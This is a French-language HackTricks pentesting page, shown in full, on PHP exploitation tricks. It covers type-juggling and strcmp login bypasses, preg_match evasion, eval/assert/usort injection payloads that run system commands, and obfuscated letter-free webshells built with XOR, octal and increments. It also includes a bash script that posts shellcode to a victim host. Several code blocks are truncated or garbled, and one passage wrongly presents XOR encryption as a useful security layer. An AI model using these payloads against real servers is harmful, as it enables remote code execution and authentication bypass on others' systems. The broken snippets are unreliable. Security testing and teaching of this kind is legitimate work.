hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
2023-06-03 13:10:46 +00:00

22 KiB

Astuces PHP

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Emplacement commun des cookies :

Ceci est également valable pour les cookies phpMyAdmin.

Cookies :

PHPSESSID
phpMyAdmin

Emplacements:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

Contournement des comparaisons PHP

Comparaisons lâches / Type Juggling ( == )

Si == est utilisé en PHP, il y a des cas inattendus où la comparaison ne se comporte pas comme prévu. Cela est dû au fait que "==" ne compare que les valeurs transformées en même type, si vous voulez également comparer que le type des données comparées est le même, vous devez utiliser ===.

Tableaux de comparaison PHP: https://www.php.net/manual/en/types.comparisons.php

{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}

  • "string" == 0 -> True Une chaîne qui ne commence pas par un nombre est égale à un nombre
  • "0xAAAA" == "43690" -> True Les chaînes composées de nombres en format décimal ou hexadécimal peuvent être comparées à d'autres nombres/chaînes avec True comme résultat si les nombres étaient identiques (les nombres dans une chaîne sont interprétés comme des nombres)
  • "0e3264578" == 0 --> True Une chaîne commençant par "0e" et suivie de n'importe quoi sera égale à 0
  • "0X3264578" == 0X --> True Une chaîne commençant par "0" et suivie de n'importe quelle lettre (X peut être n'importe quelle lettre) et suivie de n'importe quoi sera égale à 0
  • "0e12334" == "0" --> True C'est très intéressant car dans certains cas, vous pouvez contrôler l'entrée de chaîne de "0" et certains contenus qui sont hachés et comparés à celui-ci. Par conséquent, si vous pouvez fournir une valeur qui créera un hachage commençant par "0e" et sans aucune lettre, vous pourriez contourner la comparaison. Vous pouvez trouver des chaînes déjà hachées avec ce format ici: https://github.com/spaze/hashes
  • "X" == 0 --> True Toute lettre dans une chaîne est égale à l'entier 0

Plus d'informations sur https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Type Juggling affecte également la fonction in_array() par défaut (vous devez définir sur true le troisième argument pour faire une comparaison stricte):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

Si cette fonction est utilisée pour toute vérification d'authentification (comme la vérification du mot de passe) et que l'utilisateur contrôle un côté de la comparaison, il peut envoyer un tableau vide au lieu d'une chaîne de caractères comme valeur du mot de passe (https://example.com/login.php/?username=admin&password[]=) et contourner cette vérification :

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

La même erreur se produit avec strcasecmp().

Conversion de type strict

Même si === est utilisé, il peut y avoir des erreurs qui rendent la comparaison vulnérable à la conversion de type. Par exemple, si la comparaison convertit les données en un type d'objet différent avant de les comparer :

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() peut être utilisé pour valider l'entrée utilisateur (il vérifie si un mot/regex de la liste noire est présent dans l'entrée utilisateur et si ce n'est pas le cas, le code peut continuer son exécution).

Contournement de saut de ligne

Cependant, lors de la délimitation du début de la regexp, preg_match() ne vérifie que la première ligne de l'entrée utilisateur, puis si vous pouvez envoyer l'entrée sur plusieurs lignes, vous pourriez être en mesure de contourner cette vérification. Exemple :

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Pour contourner cette vérification, vous pouvez envoyer la valeur avec des retours à la ligne urlencodés (%0A) ou si vous pouvez envoyer des données JSON, envoyez-les sur plusieurs lignes :

{
  "cmd": "cat /etc/passwd"
}

Voici un exemple : https://ramadistra.dev/fbctf-2019-rceservice

Bypass d'erreur de longueur

(Ce bypass a apparemment été testé sur PHP 5.2.5 et je n'ai pas réussi à le faire fonctionner sur PHP 7.3.15)
Si vous pouvez envoyer à preg_match() une entrée très grande valide, il ne pourra pas la traiter et vous pourrez contourner la vérification. Par exemple, si elle met une liste noire sur un JSON, vous pourriez envoyer :

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000000 + '"}'

Type Juggling pour l'obscurcissement PHP

Le type juggling est une technique couramment utilisée pour l'obscurcissement de code PHP. Il s'agit de manipuler les types de données pour tromper le programmeur et le faire croire que les données sont différentes de ce qu'elles sont réellement. Par exemple, en PHP, la chaîne "0e123" est considérée comme un nombre en notation scientifique, donc égale à zéro. Cela peut être utilisé pour contourner les vérifications de mot de passe, car si le hachage du mot de passe commence par "0e", PHP le considérera comme zéro et le mot de passe sera considéré comme valide.

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Exécution Après Redirection (EAR)

Si PHP redirige vers une autre page mais qu'aucune fonction die ou exit n'est appelée après que l'en-tête Location soit défini, PHP continue d'exécuter et d'ajouter les données au corps de la réponse :

<?php
// In this page the page will be read and the content appended to the body of 
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Plus de trucs

  • register_globals: Dans PHP < 4.1.1.1 ou si mal configuré, register_globals peut être actif (ou leur comportement est imité). Cela implique que dans les variables globales comme $_GET si elles ont une valeur par exemple $_GET["param"]="1234", vous pouvez y accéder via $param. Par conséquent, en envoyant des paramètres HTTP, vous pouvez écraser des variables qui sont utilisées dans le code.
  • Les cookies PHPSESSION du même domaine sont stockés au même endroit, donc si dans un domaine différents cookies sont utilisés dans différents chemins vous pouvez faire en sorte qu'un chemin accède au cookie du chemin en définissant la valeur du cookie de l'autre chemin.
    De cette façon, si les deux chemins accèdent à une variable portant le même nom, vous pouvez faire en sorte que la valeur de cette variable dans le chemin1 s'applique au chemin2. Et ensuite, le chemin2 considérera les variables du chemin1 comme valides (en donnant au cookie le nom qui lui correspond dans le chemin2).
  • Lorsque vous avez les noms d'utilisateur des utilisateurs de la machine. Vérifiez l'adresse: /~<USERNAME> pour voir si les répertoires php sont activés.
  • LFI et RCE en utilisant des wrappers php

password_hash/password_verify

Ces fonctions sont généralement utilisées en PHP pour générer des hachages à partir de mots de passe et pour vérifier si un mot de passe est correct par rapport à un hachage.
Les algorithmes pris en charge sont: PASSWORD_DEFAULT et PASSWORD_BCRYPT (commence par $2y$). Notez que PASSWORD_DEFAULT est souvent identique à PASSWORD_BCRYPT. Et actuellement, PASSWORD_BCRYPT a une limite de taille dans l'entrée de 72 octets. Par conséquent, lorsque vous essayez de hacher quelque chose de plus grand que 72 octets avec cet algorithme, seuls les premiers 72B seront utilisés:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

Contournement des en-têtes HTTP en abusant des erreurs PHP

Si une page PHP imprime des erreurs et renvoie une entrée fournie par l'utilisateur, l'utilisateur peut faire en sorte que le serveur PHP renvoie un contenu suffisamment long pour que lorsqu'il essaie d'ajouter les en-têtes dans la réponse, le serveur génère une erreur.
Dans le scénario suivant, l'attaquant a provoqué de grosses erreurs sur le serveur, et comme vous pouvez le voir à l'écran, lorsque PHP a essayé de modifier les informations d'en-tête, il n'a pas pu (par exemple, l'en-tête CSP n'a pas été envoyé à l'utilisateur) :

Exécution de code

system("ls");
`ls`;
shell_exec("ls");

Consultez ceci pour plus de fonctions PHP utiles

Exécution de code en utilisant preg_replace()

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

Pour exécuter le code dans l'argument "replace", il est nécessaire d'avoir au moins une correspondance.
Cette option de preg_replace a été dépréciée depuis PHP 5.5.0.

Exécution de code avec Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

Exécution de code avec Assert()

Cette fonction de PHP vous permet d'exécuter du code écrit dans une chaîne de caractères afin de renvoyer vrai ou faux (et en fonction de cela, modifier l'exécution). Habituellement, la variable utilisateur sera insérée au milieu d'une chaîne de caractères. Par exemple:
assert("strpos($_GET['page']),'..') === false") --> Dans ce cas, pour obtenir une RCE, vous pourriez faire:

?page=a','NeVeR') === false and system('ls') and strpos('a

Vous devrez casser la syntaxe du code, ajouter votre charge utile, puis la réparer. Vous pouvez utiliser des opérations logiques telles que "and" ou "%26%26" ou "|". Notez que "or" ou "||" ne fonctionne pas car si la première condition est vraie, notre charge utile ne sera pas exécutée. De même, ";" ne fonctionne pas car notre charge utile ne sera pas exécutée.

Une autre option consiste à ajouter à la chaîne l'exécution de la commande: '.highlight_file('.passwd').'

Autre option (si vous avez le code interne) consiste à modifier certaines variables pour altérer l'exécution: $file = "hola"

Exécution de code avec usort()

Cette fonction est utilisée pour trier un tableau d'éléments à l'aide d'une fonction spécifique.
Pour abuser de cette fonction:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
    usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
    usort();}phpinfo;#, "cmp");
}?>

Vous pouvez également utiliser // pour commenter le reste du code.

Pour découvrir le nombre de parenthèses dont vous avez besoin pour fermer :

  • ?order=id;}// : nous obtenons un message d'erreur (Parse error: syntax error, unexpected ';'). Il nous manque probablement une ou plusieurs parenthèses.
  • ?order=id);}// : nous obtenons un avertissement. Cela semble correct.
  • ?order=id));}// : nous obtenons un message d'erreur (Parse error: syntax error, unexpected ')' i). Nous avons probablement trop de parenthèses fermantes.

Exécution de code via .httaccess

Si vous pouvez télécharger un .htaccess, vous pouvez configurer plusieurs choses et même exécuter du code (en configurant les fichiers avec l'extension .htaccess pour qu'ils puissent être exécutés).

Différentes coquilles .htaccess peuvent être trouvées ici

Analyse statique PHP

Vérifiez si vous pouvez insérer du code dans des appels à ces fonctions (à partir de ici):

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

Si vous déboguez une application PHP, vous pouvez activer l'affichage des erreurs globalement dans /etc/php5/apache2/php.ini en ajoutant display_errors = On et redémarrer Apache : sudo systemctl restart apache2.

Déobfuscation de code PHP

Vous pouvez utiliser le site web www.unphp.net pour déobfusquer le code PHP.

Enveloppes et protocoles PHP

Les enveloppes et protocoles PHP pourraient vous permettre de contourner les protections d'écriture et de lecture dans un système et de le compromettre. Pour plus d'informations, consultez cette page.

Xdebug RCE non authentifiée

Si vous voyez que Xdebug est activé dans une sortie phpconfig(), vous devriez essayer d'obtenir une RCE via https://github.com/nqxcode/xdebug-exploit.

Variables variables

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE en abusant de new $_GET["a"]($_GET["b"])

Si dans une page vous pouvez créer un nouvel objet d'une classe arbitraire, vous pourriez être en mesure d'obtenir une RCE, vérifiez la page suivante pour apprendre comment faire :

{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {% endcontent-ref %}

Exécuter du PHP sans lettres

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Utilisation d'octal

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

XOR est un opérateur binaire qui compare deux bits. Si les bits sont différents, le résultat est 1, sinon le résultat est 0. En PHP, l'opérateur XOR est représenté par le symbole ^.

L'opérateur XOR peut être utilisé pour chiffrer et déchiffrer des données. Pour chiffrer des données, chaque octet est XORé avec une clé. Pour déchiffrer les données, la même clé est utilisée pour XORer les données chiffrées.

Voici un exemple de chiffrement XOR en PHP :

function xor_encrypt($data, $key) {
    $key_len = strlen($key);
    $result = '';
    for($i = 0; $i < strlen($data); ++$i) {
        $result .= $data[$i] ^ $key[$i % $key_len];
    }
    return $result;
}

Dans cet exemple, la fonction xor_encrypt prend deux arguments : les données à chiffrer et la clé de chiffrement. La fonction itère sur chaque octet des données et le XOR avec l'octet correspondant de la clé. La clé est répétée jusqu'à ce qu'elle soit de la même longueur que les données.

Pour déchiffrer les données, la même fonction peut être utilisée avec la même clé de chiffrement :

function xor_decrypt($data, $key) {
    return xor_encrypt($data, $key);
}

Il est important de noter que le chiffrement XOR n'est pas considéré comme sûr car il est vulnérable à une attaque par force brute. Cependant, il peut être utilisé comme une mesure de sécurité supplémentaire pour protéger les données sensibles.

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

Code shell XOR facile

Selon ce compte-rendu, il est possible de générer un code shell facile en utilisant la méthode suivante:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

Donc, si vous pouvez exécuter du PHP arbitraire sans chiffres ni lettres, vous pouvez envoyer une requête comme celle-ci en abusant de cette charge utile pour exécuter du PHP arbitraire:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

Pour une explication plus détaillée, consultez https://ctf-wiki.org/web/php/php/#preg_match

Shellcode XOR (à l'intérieur de eval)

#!/bin/bash

if [[ -z $1 ]]; then
  echo "USAGE: $0 CMD"
  exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Comme Perl

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
 
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
 
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥